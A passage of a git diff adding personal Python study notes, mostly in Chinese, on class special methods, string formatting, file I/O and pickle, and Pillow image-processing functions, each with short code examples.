return 'Student object (name: %s)' % self.name + + >>> print(Student('Michael')) + Student object (name: Michael) + + 这样打印出来的实例,好看而且容易看出实例内部重要的数据。 + + +3. 直接敲变量不用print,打印出来的实例还是不好看: + + >>> s = Student('Michael') + >>> s + <__main__.Student object at 0x109afb310> +``` + +这是因为直接显示变量调用的不是`__str__()`,而是`__repr__()`, 两者的区别是 +- `__str__()`返回用户看到的字符串, +- `__repr__()`返回程序开发者看到的字符串, `__repr__()`是为调试服务的。 + + +解决办法是再定义一个`__repr__()`。 +- 通常`__str__()`和`__repr__()`代码都是一样的 +- 偷懒的写法: + +```py +class Student(object): + def __init__(self, name): + self.name = name + + def __str__(self): + return 'Student object (name=%s)' % self.name + + __repr__ = __str__ + +``` + +### `__iter__` 返回一个迭代对象 作用于for循环 +如果一个类想被用于for ... in循环,类似list或tuple那样 +- 必须实现一个`__iter__()`方法 +- 该方法返回一个迭代对象,然后,Python的for循环就会不断调用该迭代对象的`__next__()`方法拿到循环的下一个值,直到遇到`StopIteration`错误时退出循环。 + +```py +以斐波那契数列为例,写一个Fib类,可以作用于for循环: +- 斐波那契数列(Fibonacci sequence),又称黄金分割数列、因数学家列昂纳多·斐波那契(Leonardoda Fibonacci)以兔子繁殖为例子而引入,故又称为“兔子数列” +- 指的是这样一个数列:1、1、2、3、5、8、13、21、34、…… +- 递推的方法定义:F(1)=1,F(2)=1, F(n)=F(n - 1)+F(n - 2)(n ≥ 3,n ∈ N*) +- 在现代物理、准晶体结构、化学等领域,斐波纳契数列都有直接的应用,为此,美国数学会从 1963 年起出版了以《斐波纳契数列季刊》为名的一份数学杂志,用于专门刊载这方面的研究成果。 + +class Fib(object): + def __init__(self): + self.a, self.b = 0, 1 # 初始化两个计数器a,b + + def __iter__(self): + return self # 实例本身就是迭代对象,故返回自己 + + def __next__(self): + self.a, self.b = self.b, self.a + self.b # 计算下一个值 + if self.a > 100000: # 退出循环的条件 + raise StopIteration() + return self.a # 返回下一个值 + + +// 把Fib实例作用于for循环: + + >>> for n in Fib(): + ... print(n) + ... + 1 + 1 + 2 + 3 + 5 + ... + 46368 + 75025 +``` + +--- + +### `__getitem__` 像list那样按照 下标和切片 取出元素. +将类变为具有list特性的对象,即可通过下标和切片获取元素 +- `__iter__`要配合`__next__`使用 + +Fib实例虽然能作用于for循环 +- 看起来和list有点像,但是,把它当成list来使用还是不行,比如,取第5个元素. + +```py +>>> Fib()[5] +Traceback (most recent call last): + File "", line 1, in +TypeError: 'Fib' object does not support indexing +``` + +要像list那样按照下标取出元素,需要`__getitem__()`方法: + +```py + +class Fib(object): + def __getitem__(self, n): + a, b = 1, 1 + for x in range(n): + a, b = b, a + b + return a + +现在,就可以按下标访问数列的任意一项了: + + >>> f = Fib() + >>> f[0] + 1 + >>> f[1] + 1 + >>> f[100] + 573147844013817084101 + + +list有个神奇的切片方法: + + >>> list(range(100))[5:10] + [5, 6, 7, 8, 9] + + 对于Fib报错。 + 原因是__getitem__()传入的参数可能是一个int,也可能是一个切片对象slice + +所以要做判断: + +class Fib(object): + + def __getitem__(self, n): + if isinstance(n, int): # n是索引 + a, b = 1, 1 + for x in range(n): + a, b = b, a + b + return a + if isinstance(n, slice): # n是切片 + start = n.start + stop = n.stop + if start is None: + start = 0 + a, b = 1, 1 + L = [] + for x in range(stop): + if x >= start: + L.append(a) + a, b = b, a + b + return L + +// Fib的切片: + + >>> f = Fib() + >>> f[0:5] + [1, 1, 2, 3, 5] + >>> f[:10] + [1, 1, 2, 3, 5, 8, 13, 21, 34, 55] + +// 但是没有对step参数作处理: + + >>> f[:10:2] + [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89] + +// 也没有对负数作处理 +``` + +所以,要正确实现一个`__getitem__()`还是有很多工作要做的。 + +此外,如果把对象看成`dict`: +- `__getitem__()`的参数也可能是一个可以作key的object,例如str。 +- 与之对应的是`__setitem__()`方法,把对象视作list或dict来对集合赋值。 +- 最后,还有一个`__delitem__()`方法,用于删除某个元素。 + +总之,通过上面的方法,我们自己定义的类表现得和Python自带的list、tuple、dict没什么区别,这完全归功于动态语言的“鸭子类型”,不需要强制继承某个接口。 + +### `__getattr__` 可以动态化处理类的属性和方法的调用。 +正常情况下,当调用类的方法或属性时,如果不存在,就会报错。 +- `__getattr__`要配合`__call__`使用 + +```py +比如定义Student类: + + class Student(object): + def __init__(self): + self.name = 'Michael' + + >>> s = Student() + >>> print(s.name) # 调用name属性没问题 + Michael + >>> print(s.score) # 调用不存在的score属性,就有问题了: + Traceback (most recent call last): + AttributeError: 'Student' object has no attribute 'score' + + 错误信息: 没有找到score这个attribute。 + + +要避免这个错误 +- 可以加上一个score属性外 +- or 写一个__getattr__()方法,动态返回一个属性。 + + def __getattr__(self, attr): + if attr=='score': + return 99 + + +调用不存在的属性时,比如score, +- Python解释器会试图调用__getattr__(self, 'score')来尝试获得属性 +- 这样,我们就有机会返回score的值: + + >>> s = Student() + >>> s.name + 'Michael' + >>> s.score + 99 + +返回函数也可以: + + def __getattr__(self, attr): + if attr=='age': + return lambda: 25 + + 只是调用方式变为: + + >>> s.age() + 25 + +注意,只有在没有找到属性的情况下,才调用__getattr__,已有的属性,比如name,不会在__getattr__中查找。 + + +任意调用如s.abc都会返回None +- 因为定义的__getattr__默认返回就是None。 + + >>> s.abd + None + + +要让class只响应特定的几个属性,就要按照约定,抛出AttributeError的错误: + + def __getattr__(self, attr): + if attr=='age': + return lambda: 25 + raise AttributeError('\'Student\' object has no attribute \'%s\'' % attr) +``` + + +实际上可以把一个类的所有属性和方法调用全部`动态化处理`了,不需要任何特殊手段。 +- 完全动态调用的特性: 可以针对完全动态的情况作调用。 + +例子: + +```py +现在很多网站都搞REST API,比如新浪微博、豆瓣啥的,调用API的URL类似: +https://api.server/user/friends +https://api.server/user/timeline/list + +如果要写SDK,给每个URL对应的API都写一个方法,那得累死,而且,API一旦改动,SDK也要改。 + +利用完全动态的__getattr__,我们可以写出一个链式调用: + +class Chain(object): + + def __init__(self, path=''): + self._path = path + + def __getattr__(self, path): + return Chain('%s/%s' % (self._path, path)) + + def __str__(self): + return self._path + + __repr__ = __str__ +试试: + +>>> Chain().status.user.timeline.list +'/status/user/timeline/list' + +这样,无论API怎么变,SDK都可以根据URL实现完全动态的调用,而且,不随API的增加而改变! + +还有些REST API会把参数放到URL中,比如GitHub的API: + +GET /users/:user/repos +调用时,需要把:user替换为实际用户名。如果我们能写出这样的链式调用: + +Chain().users('michael').repos +就可以非常方便地调用API了。有兴趣的童鞋可以试试写出来。 +``` + +--- + + +### `__call__` 可以实现利用实例本身来调用方法,即输入s()执行调用 +一个对象实例可以有自己的属性和方法 + +当调用`实例方法`时,用instance.method()来调用。 + +能不能直接在实例本身上调用呢?在Python中,答案是肯定的。 + + +```py + +1. 任何类,只需要定义一个__call__()方法,就可以直接对实例进行调用。 + + class Student(object): + def __init__(self, name): + self.name = name + + def __call__(self): + print('My name is %s.' % self.name) + + // 调用方式如下: + + >>> s = Student('Michael') + >>> s() # self参数不要传入 + My name is Michael. + + +2. __call__()还可以定义参数。 + - 对实例进行直接调用就好比对一个函数进行调用一样 + - 所以可以把对象看成函数,把函数看成对象,因为这两者之间本来就没啥根本的区别。 + +如果你把对象看成函数,那么函数本身其实也可以在运行期动态创建出来,因为类的实例都是运行期创建出来的,这么一来,我们就模糊了对象和函数的界限。 + +那么,怎么判断一个变量是对象还是函数呢? +- 需要判断一个对象是否能被调用,能被调用的对象就是一个Callable对象, + + +>>> callable(Student()) +True +>>> callable(max) +True +>>> callable([1, 2, 3]) +False +>>> callable(None) +False +>>> callable('str') +False + +通过callable()函数,我们就可以判断一个对象是否是“可调用”对象。 +``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git "a/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/2.\350\276\223\345\205\245\345\222\214\350\276\223\345\207\272.md" "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/2.\350\276\223\345\205\245\345\222\214\350\276\223\345\207\272.md" new file mode 100644 index 00000000000..213ea281359 --- /dev/null +++ "b/_posts/00CodeNote/language/Python/course/Python14-Data-Collection-Processing-byUMich/2.\350\276\223\345\205\245\345\222\214\350\276\223\345\207\272.md" @@ -0,0 +1,384 @@ + +# 输入和输出 + +[toc] + +## 输出格式美化 +Python两种输出值的方式: `表达式语句` 和 `print()` 函数。 + +第三种方式是使用文件对象的 `write()` 方法,标准输出文件可以用 `sys.stdout` 引用。 + +输出的形式更加多样,可以使用 `str.format()` 函数来格式化输出值。 + +将输出的值转成字符串,可以使用 `repr()` 或 `str()` 函数来实现。 +- `str()`: 函数返回一个用户易读的表达形式。 +- `repr()`: 产生一个解释器易读的表达形式。 + +```py +s = 'Hello, Runoob' +str(s) # 'Hello, Runoob' +repr(s) # "'Hello, Runoob'" + +str(1/7) # '0.14285714285714285' + +x = 10 * 3.25 +y = 200 * 200 +s = 'x 的值为: ' + repr(x) + ', y 的值为:' + repr(y) +# x 的值为: 32.5, y 的值为:40000 + +# repr() 函数可以转义字符串中的特殊字符 +hello = 'hello, runoob\n' +hellos = repr(hello) # 'hello, runoob\n' + +# repr() 的参数可以是 Python 的任何对象 +repr((x, y, ('Google', 'Runoob'))) +"(32.5, 40000, ('Google', 'Runoob'))" + +``` + +### example 输出一个平方与立方的表 + +```py + +1. + for x in range(1, 11): + print(repr(x).rjust(2), repr(x*x).rjust(3), end=' ') + print(repr(x*x*x).rjust(4)) + # result + 1 1 1 + 2 4 8 + 3 9 27 + ... + + rjust() 方法, 它可以将字符串靠右, 并在左边填充空格。 + 类似的方法: ljust() 和 center()。 + 这些方法并不会写任何东西, 仅仅返回新的字符串。 + zfill(), 它会在数字的左边填充 0,如下所示: + + >>> '12'.zfill(5) + '00012' + >>> '-3.14'.zfill(7) + '-003.14' + >>> '3.14159265359'.zfill(5) + '3.14159265359' + +2. + for x in range(1, 11): + print('{0:2d} {1:3d} {2:4d}'.format(x, x*x, x*x*x)) + # result + 1 1 1 + 2 4 8 + ... + + 'str {0} {1}'.format(a0,b1) + - 括号及其里面的字符 (称作格式化字段) 将会被 format() 中的参数替换。 + >>> print('{}网址: "{}!"'.format('菜鸟教程', 'www.runoob.com')) + 菜鸟教程网址: "www.runoob.com!" + + - 在括号中的数字用于指向传入对象在 format() 中的位置 + >>> print('{0} 和 {1}'.format('Google', 'Runoob')) + Google 和 Runoob + >>> print('{1} 和 {0}'.format('Google', 'Runoob')) + Runoob 和 Google + + - 在 format() 中使用关键字参数, 值会指向使用该名字的参数。 + >>> print('{name}网址: {site}'.format(name='菜鸟教程', site='www.runoob.com')) + 菜鸟教程网址: www.runoob.com + + - 位置及关键字参数可以任意的结合: + >>> print('站点列表 {0}, {1}, 和 {other}。'.format('Google', 'Runoob', other='Taobao')) + 站点列表 Google, Runoob, 和 Taobao。 + +``` + +--- + +### !a (使用 ascii()), !s (使用 str()) 和 !r (使用 repr()) + +!a (使用 ascii()), !s (使用 str()) 和 !r (使用 repr()) 可以用于在格式化某个值之前对其进行转化: + +```py +>>> import math +>>> print('常量 PI 的值近似为: {}。'.format(math.pi)) +常量 PI 的值近似为: 3.141592653589793。 +>>> print('常量 PI 的值近似为: {!r}。'.format(math.pi)) +常量 PI 的值近似为: 3.141592653589793。 +``` + +--- + +### `:` and `format()` +可选项 : 和格式标识符可以跟着字段名。 可对值进行更好的格式化。 + +```py + +1. 将 Pi 保留到小数点后三位: + + >>> import math + >>> print('常量 PI 的值近似为 {0:.3f}。'.format(math.pi)) + 常量 PI 的值近似为 3.142。 + + +2. 在 : 后传入一个整数, 可以保证该域至少有这么多的宽度。 用于美化表格时很有用。 + + >>> table = {'Google': 1, 'Runoob': 2, 'Taobao': 3} + >>> for name, number in table.items(): + print('{0:10} ==> {1:10d}'.format(name, number)) + # result + Google ==> 1 + Runoob ==> 2 + Taobao ==> 3 + + +3. 如果你有一个很长的格式化字符串, 而你不想将它们分开 + 那么在格式化时通过 变量名 而非 位置 会是很好的事情。 + 最简单的就是传入一个字典, 然后使用方括号 [] 来访问键值 : + + >>> table = {'Google': 1, 'Runoob': 2, 'Taobao': 3} + >>> print('Runoob: {0[Runoob]:d}; Google: {0[Google]:d}; Taobao: {0[Taobao]:d}'.format(table)) + Runoob: 2; Google: 1; Taobao: 3 + + +4. 也可以通过在 table 变量前使用 ** 来实现相同的功能: + + >>> table = {'Google': 1, 'Runoob': 2, 'Taobao': 3} + >>> print('Runoob: {Runoob:d}; Google: {Google:d}; Taobao: {Taobao:d}'.format(**table)) + Runoob: 2; Google: 1; Taobao: 3 +``` + +--- + +### 旧式字符串格式化 +`%` 操作符也可以实现字符串格式化。 它将左边的参数作为类似 sprintf() 式的格式化字符串, 而将右边的代入, 然后返回格式化后的字符串. 例如: +```py +>>> import math +>>> print('常量 PI 的值近似为:%5.3f。' % math.pi) +常量 PI 的值近似为:3.142。 +``` + +大多数的 Python 代码仍然使用 % 操作符。但是这种旧式的格式化最终会从该语言中移除, 使用 str.format(). + +--- + +## 读取键盘输入 +input() 内置函数: 从标准输入读入一行文本,默认的标准输入是键盘。 + +`a = input("type your input:")` + +--- + +## 读和写文件 `open(filename, mode)` +`open()` : 返回一个 file 对象,基本语法格式如下: + +`open(filename, mode)` +- filename:包含了你要访问的文件名称的字符串值。 +- mode:决定了打开文件的模式:read,write,追加等。参数非强的,默认为只读(r)。 + +![Screen Shot 2020-03-16 at 22.06.03](https://i.imgur.com/IvfkOtD.png) + +模式 | 描述 +---|-- +r | `只读`。文件的指针将会放在文件的开头。这是默认模式。 +rb | 以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。 +r+ | `读写`。文件指针将会放在文件的开头。 +rb+ | 以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。 +---|--- +w | `写入`。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +wb | 以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +w+ | `读写`。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +wb+ | 以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,`创建`新文件。 +---|--- +a | 打开一个文件用于`追加`。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 +ab | 以二进制格式打开一个文件用于`追加`。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 +a+ | 打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。 +ab+ | 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。 + + +```py +将字符串写入到文件 foo.txt 中: + + f = open("/tmp/foo.txt", "w") # 打开一个文件 'w' 只用于写 + f.write( "Python 是一个非常好的语言。\n是的,的确非常好!!\n" ) + f.close() # 关闭打开的文件 + + $ cat /tmp/foo.txt + Python 是一个非常好的语言。 + 是的,的确非常好!! +``` + +### `f.read(size)` +为了读取一个文件的内容, 读取一定数目的数据, 然后作为字符串或字节对象返回。 +- size 是一个可选的数字类型的参数。 +- size 被忽略了或者为负, 那么该文件的所有内容都将被读取并且返回。 + +```py +f = open("/tmp/foo.txt", "r") +str = f.read() +print(str) # 输出 foo.txt 内容 +f.close() # 关闭打开的文件 +``` + +### `f.readline()` +从文件中读取单独的一行。 +- 换行符为 '\n'。 +- f.readline() 如果返回一个空字符串, 说明已经已经读取到最后一行。 + +```py +f = open("/tmp/foo.txt", "r") # 打开一个文件 +str = f.readline() +print(str) # Python 是一个非常好的语言。 +f.close() # 关闭打开的文件 +``` + +### `f.readlines(sizehint)` +返回该文件中包含的所有行。 +- sizehint=N/A, all +- 如果设置参数 sizehint, 则读取指定长度的字节, 并且将这些字节按行分割。 + +```py +f = open("/tmp/foo.txt", "r") # 打开一个文件 +str = f.readlines() +print(str) # ['Python 是一个非常好的语言。\n', '是的,的确非常好!!\n'] +f.close() # 关闭打开的文件 +``` + +```py +另一种方式是迭代一个文件对象然后读取每行: +方法简单, 但没有很好的控制。 +两者的处理机制不同, 最好不要混用。 + + f = open("/tmp/foo.txt", "r") + for line in f: + print(line, end='') + f.close() + # 输出结果为: + Python 是一个非常好的语言。 + 是的,的确非常好!! +``` + +### `f.write(string)` +将 string 写入到文件中, 然后返回写入的字符数。 + +```py +1. + f = open("/tmp/foo.txt", "w") + num = f.write( "Python 是一个非常好的语言。\n是的,的确非常好!!\n" ) + print(num) + f.close() + # 结果为: + 29 + +2. 要写入一些不是字符串的东西, 需要先进行转换: + + f = open("/tmp/foo1.txt", "w") + value = ('www.runoob.com', 14) + s = str(value) + f.write(s) + f.close() + + $ cat /tmp/foo1.txt + ('www.runoob.com', 14) +``` + +### `f.tell()` +返回文件对象当前所处的位置, 它是从文件开头开始算起的字节数。 + +### `f.seek(offset, from_what)` +改变文件当前的位置 +- from_what 的值: 0 表示开头, 1 表示当前位置, 2 表示文件的结尾, + - seek(x,0): 从起始位置即文件首行首字符开始移动 x 个字符 + - seek(x,1): 表示从当前位置往后移动x个字符 + - seek(-x,2): 表示从文件的结尾往前移动x个字符 + - 默认为0,即文件开头。 + +```py +>>> f = open('/tmp/foo.txt', 'rb+') +>>> f.write(b'0123456789abcdef') +16 +>>> f.seek(5) # 移动到文件的第六个字节 +5 +>>> f.read(1) +b'5' +>>> f.seek(-3, 2) # 移动到文件的倒数第三字节 +13 +>>> f.read(1) +b'd' +``` + +### `f.close()` +在文本文件中 (那些打开文件的模式下没有 b 的), 只会相对于文件起始位置进行定位。 +- 处理完一个文件后, 调用 f.close() 来关闭文件并释放系统的资源,如果尝试再调用该文件,则会抛出异常。 + +```py +>>> f.close() +>>> f.read() +Traceback (most recent call last): + File "", line 1, in ? +ValueError: I/O operation on closed file + +当处理一个文件对象时, 使用 with 关键字是非常好的方式。 +在结束后, 它会帮你正确的关闭文件。 +写起来也比 try - finally 语句块要简短: + +>>> with open('/tmp/foo.txt', 'r') as f: +... read_data = f.read() +>>> f.closed +True +``` + +文件对象还有其他方法, 如 isatty() 和 trucate(), 但这些通常比较少用。 + +--- + +## pickle 模块 +python的pickle模块实现了基本的数据序列和反序列化。 + +通过pickle模块的`序列化操作`: 将程序中运行的对象信息保存到文件中去,永久存储。 + +通过pickle模块的`反序列化操作`: 从文件中创建上一次程序保存的对象。 + +`pickle.dump(obj, file, [,protocol])` + +有了 pickle 这个对象, 就能对 file 以读取的形式打开: + +`x = pickle.load(file)` + +注解:从 file 中读取一个字符串,并将它重构为原来的python对象。 + +file: 类文件对象,有read()和readline()接口。 + +```py +import pickle +# 使用pickle模块将数据对象保存到文件 +data1 = {'a': [1, 2.0, 3, 4+6j], + 'b': ('string', u'Unicode string'), + 'c': None} + +selfref_list = [1, 2, 3] +selfref_list.append(selfref_list) + +output = open('data.pkl', 'wb') + +# Pickle dictionary using protocol 0. +pickle.dump(data1, output) + +# Pickle the list using the highest protocol available. +pickle.dump(selfref_list, output, -1) + +output.close() + + +实例 2: + +import pprint, pickle +#使用pickle模块从文件中重构python对象 +pkl_file = open('data.pkl', 'rb') + +data1 = pickle.load(pkl_file) +pprint.pprint(data1) + +data2 = pickle.load(pkl_file) +pprint.pprint(data2) + +pkl_file.close() +``` diff --git a/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/1.PIL.md b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/1.PIL.md new file mode 100644 index 00000000000..3a4358397b3 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python15-Pillow-Tesseract-Opencv-byUMich/1.PIL.md @@ -0,0 +1,1223 @@ + +# PIL + +[toc] + + +## The Python Imaging Library (PIL) + +The `Python Imaging Library`, PIL, PILLOW +- the main library use in python for dealing with image files. +- This library is not included with python - third party library +- have to download and install it yourself. + +In the Coursera system, this has all been done for you. Lets do a little exploring of pillow in the jupyter notebooks. + +```python +# import a library using the `import` keyword. +import PIL + +# Documentation is a big help in learning a library. There exist standards that make this process easier. +# For example, check version using the version attribute. +PIL.__version__ +'5.4.1' +``` + + +```python +# to open an image with `Pillow`. +# Python provides some built-in functions to help us understand the functions and objects which are available in libraries. + +1. help(): returns the object’s built-in documentation. + +help(PIL) + + +2. __init__.py: which has the source code for the module itself. We could look up the source code for this in the Jupyter console if we wanted to. These documentation standards make it easy to poke around an unexplored library. + + +3. dir(): list the contents of an object. find classes to interact with. +dir(PIL) + # ['PILLOW_VERSION', + # 'VERSION', + # '__builtins__', + # '__cached__', + # '__doc__', + # '__file__', + # '__loader__', + # '__name__', + # '__package__', + # '__path__', + # '__spec__', + # '__version__', + # '_plugins'] +``` + +## Image + +### `Image.open(file_path)`: +loads an image from a file and returns an instance of the Image class. + +```python +from PIL import Image ##调用库 + +image=Image.open("readonly/msi_recruitment.gif") + +print(image) +# +``` + +returns a kind of `PIL.GifImagePlugin.GifImageFile`. At first this might seem a bit confusing, since because we were told by the docs that we should be exepcting a PIL.Image.Image object back. But this is just object inheritance working! In fact, the object returned is both an Image and a GifImageFile. + +python inspect module, getmro function +- return a list of all of the classes that are being inherited by a given object. + + +```python +import inspect +print("The type of the image is " + str(type(image))) +# The type of the image is + +inspect.getmro(type(image)) +# (PIL.GifImagePlugin.GifImageFile, +# PIL.ImageFile.ImageFile, +# PIL.Image.Image, +# object) +``` + + +### `image.show()`: +the image object has a show function. +- show it locally to you + +```python +file="readonly/msi_recruitment.gif" +image=Image.open(file) +image.show() +``` + +### `display(image)` +- show it remotly + +```python +from IPython.display import display +display(image) +``` + +> the Jupyter environment is running a special wrapper around the Python interpretor, called IPython. +> IPython allows the kernel back end to communicate with a browser front end, among other things. +> The IPython package has a `display function` which can take objects and use custom formatters in order to render them. +> A number of formatters are provided by default, including one which knows how to handle image types. + + + +## Common Functions in the Python Imaging Library + +### `copy()`: im.copy() ⇒ image +- Copies this image. paste things into an image, but still retain the original. +- return object is an Image object + +```py +from PIL import Image + +im = Image.open("E.jpg") +im_copy = im.copy() +``` + +--- + + +### new类 + +Image.new(mode,size) ⇒ image + +Image.new(mode, size, color) ⇒ image + +使用给定的变量mode和size生成新的图像。 +- Size是给定的宽/高二元组,这是按照像素数来计算的。 + - 对于单通道图像,变量color只给定一个值; + - 对于多通道图像,变量color给定一个元组(每个通道对应一个值)。 + - 在版本1.1.4及其之后,用户也可以用颜色的名称,比如给变量color赋值为“red”。 + - 如果没有对变量color赋值,图像内容将会被全部赋值为0(为黑色)。 + - 如果变量color是空,图像将不会被初始化,即图像的内容全为0。这对向该图像复制或绘制某些内容是有用的。 + +```py +# 将图像设置为128×128大小的红色图像。 +from PIL import Image + +im = Image.open("ggg.jpg") + +n_im= Image.new("RGB", (128, 128), "#FF0000") +n_im.show() # red + +n_im= Image.new("RGB", (128, 128)) +n_im.show() # black + +n_im= Image.new("RGB", (128, 128),"green") +n_im.show() +``` + +--- + +## change the image + +### `crop()`: im.crop(box) ⇒ image +- removes portions of the image + +```py +from PIL import Image +im = Image.open("E.jpg") +box = (300, 100, 700, 700) # 确定拷贝区域大小 + +region = im.crop(box) +# 将im表示的图片对象拷贝到region中,大小为box + +region.show() +``` + +--- + +### Paste类: `im.paste(image, box)` + +将一张图粘贴到另一张图像上。 +- box或者是一个给定左上角的2元组,或者是定义了左,上,右和下像素坐标的4元组,或者为空(与(0,0)一样)。 +- 如果给定4元组,被粘贴的图像的尺寸必须与区域尺寸一样。 +- 如果模式不匹配,被粘贴的图像将被转换为当前图像的模式。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +box=[0,0,100,100] +im_crop = im.crop(box) + +print(im_crop.size,im_crop.mode) + +im.paste(im_crop, (100,100)) #(100,100,0,0) +im.paste(im_crop, (400,400,500,500)) + +im.show() +``` + +--- + +## `point(lut,mode)`(对图像像素操作) + +```py +from PIL import Image +im = Image.open("E.jpg") + +im_point = im.point(lambda x:x*1.5) +im_point.show() + +im_point.save("im_point.jpg") +``` + +point方法可以对图像进行单个像素的操作 +- 代码对point方法传入了一个匿名函数,表示将图像的每个像素点大小都乘以1.5, +- mode是返回的图像的模式,默认是和原来图像的mode是一样的。 + +图2 dog.jpg和point操作之后的im_point.jpg +下面是一个结合了`point`函数,`split`函数,`paste`函数以及`merge`函数的小例子。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +source = im.split() + +R,G,B = 0,1,2 +mask = source[R].point(lambda x: x<100 and 255) +# x<100,return 255,otherwise return 0 + +out_G = source[G].point(lambda x:x*0.7) +# 将out_G粘贴回来,但是只保留'R'通道像素值<100的部分 + +source[G].paste(out_G,None,mask) +# 合并成新的图像 + +im_new = Image.merge(im.mode,source) +im_new.show() +im.show() +``` + +--- + +## edit the image + +### Filter类 + +im.filter(filter) ⇒ image + +返回一个使用给定滤波器处理过的图像的拷贝。 +- 具体参考图像滤波在ImageFilter 模块的应用,在该模块中,预先定义了很多增强滤波器,可以通过filter( )函数使用, +- 预定义滤波器包括:BLUR、CONTOUR、DETAIL、EDGE_ENHANCE、EDGE_ENHANCE_MORE、EMBOSS、FIND_EDGES、SMOOTH、SMOOTH_MORE、SHARPEN。 +- 其中BLUR就是均值滤波,CONTOUR找轮廓,FIND_EDGES边缘检测,使用该模块时,需先导入。 + +```py +from PIL import Image +from PIL import ImageFilter # 调取ImageFilter + +imgF = Image.open("E:\mywife.jpg") +bluF = imgF.filter(ImageFilter.BLUR) # 均值滤波 +conF = imgF.filter(ImageFilter.CONTOUR) # 找轮廓 +edgeF = imgF.filter(ImageFilter.FIND_EDGES) # 边缘检测 + +imgF.show() +bluF.show() +conF.show() +edgeF.show() +``` + +--- + +### Blend类 (透明度) + +Image.blend(image1,image2, alpha) ⇒ image + +使用给定的两张图像及透明度变量alpha,插值出一张新的图像。 +- 这两张图像必须有一样的尺寸和模式。 +- 若变量alpha为0.0,返回第一张图像的拷贝。 +- 若变量alpha为1.0,将返回第二张图像的拷贝。 +- 对变量alpha的值无限制。 + +合成公式为:out = image1 (1.0 – alpha) + image2 alpha + + + +```py +from PIL import Image +im1 = Image.open("E.jpg") +im2 = Image.open("E2.jpg") + +print(im1.mode,im1.size) # RGB (750, 560) +print(im2.mode,im2.size) # RGB (750, 560) + +im = Image.blend(im1, im2, 0.2) + +im.show() +``` + +--- + +### Composite类 + +Image.composite(image1,image2, mask) ⇒ image + +复合类使用给定的两张图像及mask图像作为透明度,插值出一张新的图像。 +- 变量mask图像的模式: “1”,“L”或者“RGBA”。 +- 所有图像必须有相同的尺寸。 + +```py +from PIL import Image + +im1 = Image.open("E.jpg") +im2 = Image.open("E2.jpg") + +r,g,b = im1.split() ##分离出r,g,b + +print(b.mode) +print(im1.mode,im1.size) +print(im2.mode,im2.size) + +im = Image.composite(im1,im2,b) + +im.show() +``` + +--- + +### Merge类 + +Image.merge(mode,bands) ⇒ image + +合并类使用一些单通道图像,创建一个新的图像。 +- 变量bands为一个图像的元组或者列表,每个通道的模式由变量mode描述。 +- 所有通道必须有相同的尺寸。 + + +变量mode与变量bands的关系: + +len(ImageMode.getmode(mode).bands)= len(bands) + +```py +from PIL import Image +im1 = Image.open("E.jpg") +im2 = Image.open("E2.jpg") + +r1,g1,b1 = im1.split() +r2,g2,b2 = im2.split() + +print(r1.mode,r1.size,g1.mode,g1.size) +print(r2.mode,r2.size,g2.mode,g2.size) + +new_im=[r1,g2,b2] +print(len(new_im)) + +im_merge = Image.merge("RGB",new_im) + +im_merge.show() +``` + + + + + + + +--- + +## Eval类 + +Image.eval(image,function) ⇒ image + +使用function(该函数应该有一个参数)处理image中的每一个像素点。 +- 如果变量image所代表图像有多个通道,那变量function对应的函数作用于每一个通道。 +- 注意:变量function对每个像素只处理一次,所以不能使用随机组件和其他生成器。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +def fun01(x): + return x*0.3 +def fun02(y): + return y*2.0 + +im1_eval = Image.eval(im, fun01) # dark +im2_eval = Image.eval(im, fun02) # light + +im1_eval.show() +im2_eval.show() +``` + +--- + +## Draft类 + +im.draft(mode,size) + +配置图像文件加载器,使得返回一个与给定的模式和尺寸尽可能匹配的图像的版本。 + +```py +from PIL import Image +im = Image.open("E.jpg") +print(im.size,im.mode) +# (750, 560) RBG + +new_im = im.draft("L", (200,200)) +print(new_im.size,new_im.mode) +# (375, 280) L + +new_im.show() +``` + +--- + +## get + +### Getbands类 + +im.getbands()⇒ tuple of strings + +返回包括每个通道名称的元组。 +- 例如,对于RGB图像将返回(“R”,“G”,“B”)。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +print(im.getbands()) +# “R”,“G”,“B”) +``` + +### Getbbox类 + +im.getbbox() ⇒ 4-tuple or None + +计算图像非零区域的包围盒。 +- 这个包围盒是一个4元组,定义了左、上、右和下像素坐标。 +- 如果图像是空的,这个方法将返回空。 + +```py +from PIL import Image +im = Image.open("E.jpg") + +print(im.getbbox()) +# (0, 0, 750, 560) +``` + + +### Getdata类 + +im.getdata() ⇒ sequence + +以包含像素值的sequence对象形式返回图像的内容。 +- 这个sequence对象是扁平的,以便第一行的值直接跟在第零行的值后面,等等。 +- 这个方法返回的sequence对象是PIL内部数据类型,它只支持某些sequence操作,包括迭代和基础sequence访问。 +- 使用list(im.getdata()),将它转换为普通的sequence。 +- Sequence对象的每一个元素对应一个像素点的R、G和B三个值。 + + +```py +from PIL import Image +im = Image.open("E.jpg") +sequ = im.getdata() + +sequ0 = list(sequ) + +print(sequ0[0]) 